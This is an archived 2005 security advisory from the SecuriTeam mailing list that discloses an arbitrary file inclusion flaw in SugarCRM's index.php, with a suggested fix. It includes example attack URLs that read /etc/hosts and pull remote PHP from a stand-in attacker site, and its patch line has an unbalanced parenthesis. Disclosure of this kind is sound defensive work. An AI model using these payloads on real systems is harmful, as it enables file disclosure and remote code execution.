[UNIX] SugarCRM Arbitrary File Inclusion
From: SecuriTeam (support_at_securiteam.com)
Date: 01/09/05
- Previous message: SecuriTeam: "[NT] Multiple Vulnerabilities in WinAce and WinHKI File Archievers"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 9 Jan 2005 16:40:15 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
SugarCRM Arbitrary File Inclusion
------------------------------------------------------------------------
SUMMARY
Failure to sanitize user input in SugarCRM's index.php opens the
possibility for an attacker to include an arbitrary file when PHP's
"register_globals" is on.
DETAILS
Example:
http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=/etc/hosts
http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=http://www.attackersite.com/malicious.php
Workaround:
Disable register_globals in your php.ini file, or
Replace line 198 in index.php:
$currentModuleFile = $moduleDefaultFile[$currentModule];
With
if ( !isset($moduleDefaultFile[$currentModule] ) {
die('No action specified');
}
$currentModuleFile = $moduleDefaultFile[$currentModule];
ADDITIONAL INFORMATION
The information has been provided by <mailto:blindot@gmail.com> Santiago
Cortes.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NT] Multiple Vulnerabilities in WinAce and WinHKI File Archievers"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|